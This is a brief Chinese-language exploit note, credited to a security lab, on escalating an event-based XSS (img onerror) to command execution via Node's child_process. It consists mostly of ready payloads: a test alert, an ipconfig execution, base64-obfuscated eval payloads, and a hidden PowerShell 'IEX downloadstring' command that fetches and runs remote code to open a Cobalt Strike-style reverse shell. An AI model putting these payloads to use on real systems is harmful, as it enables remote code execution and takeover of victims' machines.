文章来源： Khan安全攻防实验室
漏洞利用方式：
选择事件型XSS需要附带onerror事件，比如img、audio等。
弹窗代码：
<img src=x oneror=alert(1)>
构造命令执行payload
require('child_process').exec('ipconfig/all',(error, stdout, stderr)=>{ alert(`stdout: ${stdout}`); });
最终利用代码：
<img src=# onerror='eval（newBuffer(`cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoJ2lwY29uZmlnIC9hbGwnLChlcnJvciwgc3Rkb3V0LCBzdGRlcnIpPT57CiAgICBhbGVydChgc3Rkb3V0OiAke3N0ZG91dH1gKTsKICB9KTs=`,`base64`).toString())'>
反弹shell命令
CS生成powershell脚本
powershell.exe -nop -w hidden -c "IEX((new-objectnet.webclient).downloadstring('http://127.0.0.1/test/'))" require('child_process').exec('powershell.exe-nop -w hidden -c "IEX ((new-objectnet.webclient).downloadstring(\'http://127.0.0.1/test\'))"',(error,stdout, stderr)=>{ alert(`stdout: ${stdout}`); }); cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoJ3Bvd2Vyc2hlbGwuZXhlIC1ub3AgLXcgaGlkZGVuIC1jICJJRVggKChuZXctb2JqZWN0IG5ldC53ZWJjbGllbnQpLmRvd25sb2Fkc3RyaW5nKFwnaHR0cDovLzE5Mi4xNjguNzIuMTI5OjgwODEvYWJjZGVcJykpIicsKGVycm9yLCBzdGRvdXQsIHN0ZGVycik9PnsKICAgIGFsZXJ0KGBzdGRvdXQ6ICR7c3Rkb3V0fWApOwogIH0pOw== <img src=# onerror='eval（newBuffer(`cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoJ3Bvd2Vyc2hlbGwuZXhlIC1ub3AgLXcgaGlkZGVuIC1jICJJRVggKChuZXctb2JqZWN0IG5ldC53ZWJjbGllbnQpLmRvd25sb2Fkc3RyaW5nKFwnaHR0cDovLzE5Mi4xNjguNzIuMTI5OjgwODEvYWJjZGVcJykpIicsKGVycm9yLCBzdGRvdXQsIHN0ZGVycik9PnsKICAgIGFsZXJ0KGBzdGRvdXQ6ICR7c3Rkb3V0fWApOwogIH0pOw==`,`base64`).toString())'>
